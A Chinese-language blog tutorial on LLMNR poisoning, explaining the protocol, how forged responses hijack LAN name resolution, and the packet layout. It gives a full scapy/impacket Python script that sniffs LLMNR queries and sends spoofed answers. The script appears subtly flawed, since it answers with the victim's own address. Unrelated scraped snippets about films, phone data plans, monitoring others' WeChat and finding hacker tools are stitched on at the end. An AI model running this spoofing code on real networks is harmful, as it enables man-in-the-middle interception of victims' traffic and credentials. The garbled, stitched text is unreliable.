LLMNR(Link-Local Multicast Name Resolution)是用于同一本地链路上的,基于DNS协议的一个协议,同一局域网中的主机可通过该协议去解析其他主机名
查询顺序为
前面的两部应该很熟了,我们直接介绍LLMNR的阶段
LLMNR解析过程:
LLMNR协议工作再5355端口
可以看到这个广播的过程蛮熟悉的,很容易联想到ARP欺骗和DNS欺骗,ARP欺骗和DNS欺骗的主要手段就是当中间人,LLMNR的欺骗手段和这两者差不太多,更像是两者的结合版
首先,LLMNR是在链路层进行广播,所以不需要先ARP欺骗监听流量,其次,由于它基于DNS协议,所以结构也与DNS相近,也就是说需要LLMNR广播包的特征码来构造响应包,才会接受响应。
能触发LLMNR协议的主要就是 *** b共享,或者ping这种,只要基于链路层的访问就有机会用到LLMNR去解析
但是由于毒化后对方要使用链路层服务才会起作用,所以 *** b共享是主要方式
在触发LLMNR协议进行广播后,就需要做出响应来进行欺骗
对方将接收到的响应包中的地址作为要解析的地址,写入NetBios缓存。在访问对应的内网服务时候就被解析到了攻击者的地址上。
理解ARP欺骗和DNS欺骗这个过程应该就很好理解了。
这是基本的过程,实际上,我们甚至不需要对方去触发LLMNR广播查询,只要我们模拟受害者ip向局域网组播了查询数据包(对方至少得加入广播组),再把响应数据包发给受害者,就能实现LLMNR毒化。但是似乎在每次使用链路层服务时都会寻找,不管之前是否有查找过。(另外写脚本的时候也碰到了一点问题,用socket发送数据包的话,如果要设置UDP广播就无法设置从数据包中读取IP头,即伪造对方IP和发送广播包两者不能共存,不知道是不是写法的问题,网上也没找到有办法。)
甚至在运行框中修改主机名不点执行,也会重新发包查询,而不是点了执行才去查询
所以采用的更好的毒化 *** 就是像responder那样监听广播中的LLMNR广播数据包,再进行单播欺骗。
(llmnr实在很少使用,正常的局域网中要连接其他局域网内主机都直接用dns完成了,像llmnr大概只能去查询一些刚加进局域网,还未来得到和dns服务器交互,且存在于组播中的主机,所以要完成欺骗也要一点社工手段使对方使用llmnr服务)
一张图解决所有疑惑
虽然有点乱,但是无伤大雅,因为其中变动的点很少
一是前两位红线连的,Transaction ID,也就是DNS中的特征码,需要响应和广播包中的特征码相同
二是深绿色连的name,格式为[长度][名称][\x00\x00],对应图中看一下就懂
三是Type,也就是name后面两位,一般也就三种,[A — \X00\X01][AAAA — \X00\X1C][ANY — \x00\xff],A对应IPV4,AAAA对应IPV6,ANY就是两样兼收。
我偷懒用了scapy,想监听就变得更加方便了
由于llmnr广播很少使用,所以这样直接过滤监听地址外加端口基本不会错
拿到数据包后取数据包中的对方ip,数据包id,要查找的名
拿完后就可以构造数据包了
返回也是用LLMNR协议写的数据包,查资料的时候有文章说返回是IGMP协议,其实是错的。且LLMNR结构和一般的DNS真的差不了多少
我把llmnr中之前介绍过的部分圈了出来,多的是ttl,data length 和address
ttl: \x00 \x00 \x00 \x1e 表示30s data length: \x00 \x04 表示长度为4 address: \xc0 \xa8 \x98 \x87 是解析的地址
其余要注意的:
将Answer RRs改为1,表示有一个应答
将ID后的Flags改为\x80\x00表示response包
这是整个一个返回包的结构:
可以看到我们主机中的脚本监听到了广播后就向发送广播方进行了单播
#success from scapy.all import * import os import threading import time from impacket import ImpactPacket def llmnr_listen(): print("[+]start listing") #监听llmnr广播包 #需要对方ip,数据包id,查找名 a=sniff(count=1,filter="ip dst 224.0.0.252 and udp and udp port 5355") target_ip=a[0][IP].src query_id=a[0][LLMNRQuery].id query_name=a[0][LLMNRQuery].qd.qname[:-1] list_needed=[target_ip,query_id,query_name] print("[+]get packet") return list_needed class llmnr_poision: def __init__(self,list_needed): self.target_ip=list_needed[0] print("[+]target ip is:" + self.target_ip) self.query_id=list_needed[1] print("[+]query id is:" + str(self.query_id)) self.query_name=list_needed[2] print("[+]cheat name is:" + str(self.query_name)) self.query_length=len(self.query_name) self.local_ip="192.168.1.240" self.las=socket.socket(socket.AF_INET, socket.SOCK_DGRAM) self.HOST="0.0.0.0" self.HOST="" self.PORT=5355 #self.MulADDR="224.0.0.252" self.las=socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_UDP) #s.setsockopt(socket.SOL_SOCKET, socket.SO_BROADCAST, 1) #self.las.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1) #self.las.bind((self.HOST, self.PORT)) def llmnr_answer(self): self.AnswerData=( "TID" # Tid "\x80\x00" # Flags Query(0x0000)? or Response(0x8000) ? "\x00\x01" # Question "\x00\x01" # Answer RRS "\x00\x00" # Authority RRS "\x00\x00" # Additional RRS "LENGTH" # Question Name Length "NAME" # Question Name "\x00" # Question Name Null "\x00\x01" # Query Type ,IPv4(0x0001)? or IPv6(0x001c)? "\x00\x01" # Class "LENGTH" # Answer Name Length "NAME" # Answer Name "\x00" # Answer Name Null "\x00\x01" # Answer Type ,IPv4(0x0001)? or IPv6(0x001c)? "\x00\x01" # Class "\x00\x00\x00\x1e" # TTL Default:30s "\x00\x04" # IP Length "IPADDR") # IP Address self.Data=struct.pack("h",self.query_id)[1:]+struct.pack("h",self.query_id)[0:1] self.Data=self.Data + ( b"\x80\x00" # Flags Query(0x0000)? or Response(0x8000) ? b"\x00\x01" # Question b"\x00\x01" # Answer RRS b"\x00\x00" # Authority RRS b"\x00\x00" ) self.Data=self.Data + struct.pack("b",self.query_length) self.Data=self.Data + self.query_name self.Data=self.Data + ( b"\x00" # Question Name Null b"\x00\x01" # Query Type ,IPv4(0x0001)? or IPv6(0x001c)? b"\x00\x01" # Class ) self.Data=self.Data + struct.pack("b",self.query_length) self.Data=self.Data + self.query_name self.Data=self.Data + ( b"\x00" # Answer Name Null b"\x00\x01" # Answer Type ,IPv4(0x0001)? or IPv6(0x001c)? b"\x00\x01" # Class b"\x00\x00\x00\x1e" # TTL Default:30s b"\x00\x04" # IP Length ) self.Data=self.Data + socket.inet_aton(self.target_ip) print(self.Data) ip=ImpactPacket.IP() ip.set_ip_src(self.local_ip) ip.set_ip_dst(self.target_ip) udp=ImpactPacket.UDP() udp.set_uh_sport(self.PORT) udp.set_uh_dport(self.PORT) udp.contains(ImpactPacket.Data(self.Data)) ip.contains(udp) print(ip.get_packet()) print("[+]send packet") while True: self.las.sendto(udp.get_packet(), (self.target_ip,self.PORT)) time.sleep(100) print("[+]finish") get_muti_pack=llmnr_listen() llmnr=llmnr_poision(get_muti_pack) llmnr.llmnr_answer()
很久没做专题,做一期影戏专题 帮人人更好的看影戏 奥利给原创公布,转载注明出处 ——– 看影戏,首先要学会管理学头脑 把自己看过的影戏分类符号纪录下来 豆瓣影戏是你最好的选择,纪录...
10月16日信息,前不久,联通官方网App“流量银行”发布了“一折抢2GB国内流量”主题活动,即十元选购售价一百元的2GB国内流量大半年包。 自然,本次主题活动只限联通“流量银行”客户,现阶段该主题...
实时监控系统别人微信是是真是假(其实不是很难)话说手机微信如今基础早已替代QQ变成了第一大社交软件,但是许多远程桌面QQ上好用的作用微信上也没有,例如远程桌面。早晨开启电脑微信,发觉有的微信群聊天对话...
不知道各位还记不记得2017年那场88九寨沟地震,当时那场地震对九寨沟造成了巨大的上海,九寨沟火花海直接被破坏不复往日的景象,直到近日,九寨沟火花海终于被修复,九寨沟火花海将于国庆前开放,人们终于可以...
1.百度打上黑客然后去一些黑客论坛里招版主。在问。2.去一些QQ群。去问。但是别去黑客群。要去就去各种编程破解群。 用工具吧!推荐一个好地方,那里有很多黑客工具!参考资料: 想必是要学技术吧想必是要当...
本文导读目录: 1、《.hack 黑客链接》有汉化版的吗 2、黑客资源百度云 免费 3、跪求黑客帝国游戏下载 链接 4、黑客游戏《HackTheGame》汉化版 5、哪位大神有《黑客网...